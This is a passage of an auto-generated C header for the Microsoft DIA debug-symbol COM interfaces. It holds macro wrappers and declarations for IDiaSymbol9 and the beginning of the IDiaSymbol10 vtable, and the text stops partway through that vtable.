IDiaSymbol9_get_liveRangeStartAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) #define IDiaSymbol9_get_liveRangeStartRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol9_get_countLiveRanges(This,pRetVal) \ ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) #define IDiaSymbol9_get_liveRangeLength(This,pRetVal) \ ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) #define IDiaSymbol9_get_offsetInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) #define IDiaSymbol9_get_paramBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol9_get_localBasePointerRegisterId(This,pRetVal) \ ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) #define IDiaSymbol9_get_isLocationControlFlowDependent(This,pRetVal) \ ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) #define IDiaSymbol9_get_stride(This,pRetVal) \ ( (This)->lpVtbl -> get_stride(This,pRetVal) ) #define IDiaSymbol9_get_numberOfRows(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) #define IDiaSymbol9_get_numberOfColumns(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) #define IDiaSymbol9_get_isMatrixRowMajor(This,pRetVal) \ ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) #define IDiaSymbol9_get_numericProperties(This,cnt,pcnt,pProperties) \ ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) #define IDiaSymbol9_get_modifierValues(This,cnt,pcnt,pModifiers) \ ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) #define IDiaSymbol9_get_isReturnValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) #define IDiaSymbol9_get_isOptimizedAway(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) #define IDiaSymbol9_get_builtInKind(This,pRetVal) \ ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) #define IDiaSymbol9_get_registerType(This,pRetVal) \ ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) #define IDiaSymbol9_get_baseDataSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) #define IDiaSymbol9_get_baseDataOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) #define IDiaSymbol9_get_textureSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) #define IDiaSymbol9_get_samplerSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) #define IDiaSymbol9_get_uavSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) #define IDiaSymbol9_get_sizeInUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) #define IDiaSymbol9_get_memorySpaceKind(This,pRetVal) \ ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) #define IDiaSymbol9_get_unmodifiedTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) #define IDiaSymbol9_get_subTypeId(This,pRetVal) \ ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) #define IDiaSymbol9_get_subType(This,pRetVal) \ ( (This)->lpVtbl -> get_subType(This,pRetVal) ) #define IDiaSymbol9_get_numberOfModifiers(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) #define IDiaSymbol9_get_numberOfRegisterIndices(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) #define IDiaSymbol9_get_isHLSLData(This,pRetVal) \ ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) #define IDiaSymbol9_get_isPointerToDataMember(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) #define IDiaSymbol9_get_isPointerToMemberFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) #define IDiaSymbol9_get_isSingleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) #define IDiaSymbol9_get_isMultipleInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) #define IDiaSymbol9_get_isVirtualInheritance(This,pRetVal) \ ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) #define IDiaSymbol9_get_restrictedType(This,pRetVal) \ ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) #define IDiaSymbol9_get_isPointerBasedOnSymbolValue(This,pRetVal) \ ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) #define IDiaSymbol9_get_baseSymbol(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) #define IDiaSymbol9_get_baseSymbolId(This,pRetVal) \ ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) #define IDiaSymbol9_get_objectFileName(This,pRetVal) \ ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) #define IDiaSymbol9_get_isAcceleratorGroupSharedLocal(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) #define IDiaSymbol9_get_isAcceleratorPointerTagLiveRange(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) #define IDiaSymbol9_get_isAcceleratorStubFunction(This,pRetVal) \ ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) #define IDiaSymbol9_get_numberOfAcceleratorPointerTags(This,pRetVal) \ ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) #define IDiaSymbol9_get_isSdl(This,pRetVal) \ ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) #define IDiaSymbol9_get_isWinRTPointer(This,pRetVal) \ ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) #define IDiaSymbol9_get_isRefUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) #define IDiaSymbol9_get_isValueUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) #define IDiaSymbol9_get_isInterfaceUdt(This,pRetVal) \ ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) #define IDiaSymbol9_findInlineFramesByAddr(This,isect,offset,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) #define IDiaSymbol9_findInlineFramesByRVA(This,rva,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) #define IDiaSymbol9_findInlineFramesByVA(This,va,ppResult) \ ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) #define IDiaSymbol9_findInlineeLines(This,ppResult) \ ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) #define IDiaSymbol9_findInlineeLinesByAddr(This,isect,offset,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) #define IDiaSymbol9_findInlineeLinesByRVA(This,rva,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) #define IDiaSymbol9_findInlineeLinesByVA(This,va,length,ppResult) \ ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) #define IDiaSymbol9_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) \ ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) #define IDiaSymbol9_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) \ ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) #define IDiaSymbol9_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) \ ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) #define IDiaSymbol9_getSrcLineOnTypeDefn(This,ppResult) \ ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) #define IDiaSymbol9_get_isPGO(This,pRetVal) \ ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) #define IDiaSymbol9_get_hasValidPGOCounts(This,pRetVal) \ ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) #define IDiaSymbol9_get_isOptimizedForSpeed(This,pRetVal) \ ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) #define IDiaSymbol9_get_PGOEntryCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) #define IDiaSymbol9_get_PGOEdgeCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) #define IDiaSymbol9_get_PGODynamicInstructionCount(This,pRetVal) \ ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) #define IDiaSymbol9_get_staticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) #define IDiaSymbol9_get_finalLiveStaticSize(This,pRetVal) \ ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) #define IDiaSymbol9_get_phaseName(This,pRetVal) \ ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) #define IDiaSymbol9_get_hasControlFlowCheck(This,pRetVal) \ ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) #define IDiaSymbol9_get_constantExport(This,pRetVal) \ ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) #define IDiaSymbol9_get_dataExport(This,pRetVal) \ ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) #define IDiaSymbol9_get_privateExport(This,pRetVal) \ ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) #define IDiaSymbol9_get_noNameExport(This,pRetVal) \ ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) #define IDiaSymbol9_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) \ ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) #define IDiaSymbol9_get_exportIsForwarder(This,pRetVal) \ ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) #define IDiaSymbol9_get_ordinal(This,pRetVal) \ ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) #define IDiaSymbol9_get_frameSize(This,pRetVal) \ ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) #define IDiaSymbol9_get_exceptionHandlerAddressSection(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) #define IDiaSymbol9_get_exceptionHandlerAddressOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) #define IDiaSymbol9_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) #define IDiaSymbol9_get_exceptionHandlerVirtualAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) #define IDiaSymbol9_findInputAssemblyFile(This,ppResult) \ ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) #define IDiaSymbol9_get_characteristics(This,pRetVal) \ ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) #define IDiaSymbol9_get_coffGroup(This,pRetVal) \ ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) #define IDiaSymbol9_get_bindID(This,pRetVal) \ ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) #define IDiaSymbol9_get_bindSpace(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) #define IDiaSymbol9_get_bindSlot(This,pRetVal) \ ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) #define IDiaSymbol9_get_isObjCClass(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) #define IDiaSymbol9_get_isObjCCategory(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) #define IDiaSymbol9_get_isObjCProtocol(This,pRetVal) \ ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) #define IDiaSymbol9_get_inlinee(This,pRetVal) \ ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) #define IDiaSymbol9_get_inlineeId(This,pRetVal) \ ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) #define IDiaSymbol9_get_noexcept(This,pRetVal) \ ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) #define IDiaSymbol9_get_hasAbsoluteAddress(This,pRetVal) \ ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) #define IDiaSymbol9_get_isStaticMemberFunc(This,pRetVal) \ ( (This)->lpVtbl -> get_isStaticMemberFunc(This,pRetVal) ) #define IDiaSymbol9_get_isSignRet(This,pRetVal) \ ( (This)->lpVtbl -> get_isSignRet(This,pRetVal) ) #define IDiaSymbol9_get_coroutineKind(This,pRetVal) \ ( (This)->lpVtbl -> get_coroutineKind(This,pRetVal) ) #define IDiaSymbol9_get_associatedSymbolKind(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolKind(This,pRetVal) ) #define IDiaSymbol9_get_associatedSymbolSection(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolSection(This,pRetVal) ) #define IDiaSymbol9_get_associatedSymbolOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolOffset(This,pRetVal) ) #define IDiaSymbol9_get_associatedSymbolRva(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolRva(This,pRetVal) ) #define IDiaSymbol9_get_associatedSymbolAddr(This,pRetVal) \ ( (This)->lpVtbl -> get_associatedSymbolAddr(This,pRetVal) ) #define IDiaSymbol9_get_framePadSize(This,pRetVal) \ ( (This)->lpVtbl -> get_framePadSize(This,pRetVal) ) #define IDiaSymbol9_get_framePadOffset(This,pRetVal) \ ( (This)->lpVtbl -> get_framePadOffset(This,pRetVal) ) #define IDiaSymbol9_get_isRTCs(This,pRetVal) \ ( (This)->lpVtbl -> get_isRTCs(This,pRetVal) ) #endif /* COBJMACROS */ #endif /* C style interface */ /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol9_get_framePadSize_Proxy( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol9_get_framePadSize_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol9_get_framePadOffset_Proxy( IDiaSymbol9 * This, /* [retval][out] */ DWORD *pRetVal); void __RPC_STUB IDiaSymbol9_get_framePadOffset_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol9_get_isRTCs_Proxy( IDiaSymbol9 * This, /* [retval][out] */ BOOL *pRetVal); void __RPC_STUB IDiaSymbol9_get_isRTCs_Stub( IRpcStubBuffer *This, IRpcChannelBuffer *_pRpcChannelBuffer, PRPC_MESSAGE _pRpcMessage, DWORD *_pdwStubPhase); #endif /* __IDiaSymbol9_INTERFACE_DEFINED__ */ #ifndef __IDiaSymbol10_INTERFACE_DEFINED__ #define __IDiaSymbol10_INTERFACE_DEFINED__ /* interface IDiaSymbol10 */ /* [unique][helpstring][local][uuid][object] */ EXTERN_C const IID IID_IDiaSymbol10; #if defined(__cplusplus) && !defined(CINTERFACE) MIDL_INTERFACE("9034a70b-b0b7-4605-8a97-33772f3a7b8c") IDiaSymbol10 : public IDiaSymbol9 { public: virtual HRESULT STDMETHODCALLTYPE get_sourceLink( /* [in] */ DWORD cb, /* [out] */ DWORD *pcb, /* [size_is][out] */ BYTE *pb) = 0; }; #else /* C style interface */ typedef struct IDiaSymbol10Vtbl { BEGIN_INTERFACE HRESULT ( STDMETHODCALLTYPE *QueryInterface )( IDiaSymbol10 * This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ _COM_Outptr_ void **ppvObject); ULONG ( STDMETHODCALLTYPE *AddRef )( IDiaSymbol10 * This); ULONG ( STDMETHODCALLTYPE *Release )( IDiaSymbol10 * This); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symIndexId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symTag )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_name )( IDiaSymbol10 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParent )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParent )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_type )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataKind )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_locationType )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( IDiaSymbol10 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offset )( IDiaSymbol10 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( IDiaSymbol10 * This, /* [retval][out] */ ULONGLONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_slot )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_volatileType )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constType )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unalignedType )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_access )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_libraryName )( IDiaSymbol10 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_platform )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_language )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_editAndContinueEnabled )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMajor )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndMinor )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndBuild )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMajor )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndMinor )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndBuild )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileName )( IDiaSymbol10 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unused )( IDiaSymbol10 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thunkOrdinal )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_thisAdjust )( IDiaSymbol10 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseOffset )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtual )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intro )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pure )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_callingConvention )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_value )( IDiaSymbol10 * This, /* [retval][out] */ VARIANT *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseType )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_token )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timeStamp )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_guid )( IDiaSymbol10 * This, /* [retval][out] */ GUID *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_symbolsFileName )( IDiaSymbol10 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_reference )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_count )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bitPosition )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexType )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_packed )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constructor )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_overloadedOperator )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_nested )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasNestedTypes )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAssignmentOperator )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasCastOperator )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_scoped )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseClass )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_indirectVirtualBaseClass )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBasePointerOffset )( IDiaSymbol10 * This, /* [retval][out] */ LONG *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShape )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lexicalParentId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_classParentId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_typeId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_arrayIndexTypeId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualTableShapeId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_function )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_managed )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_msil )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseDispIndex )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_undecoratedName )( IDiaSymbol10 * This, /* [retval][out] */ BSTR *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_age )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_signature )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilerGenerated )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressTaken )( IDiaSymbol10 * This, /* [retval][out] */ BOOL *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_rank )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBound )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBound )( IDiaSymbol10 * This, /* [retval][out] */ IDiaSymbol **pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lowerBoundId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_upperBoundId )( IDiaSymbol10 * This, /* [retval][out] */ DWORD *pRetVal); HRESULT ( 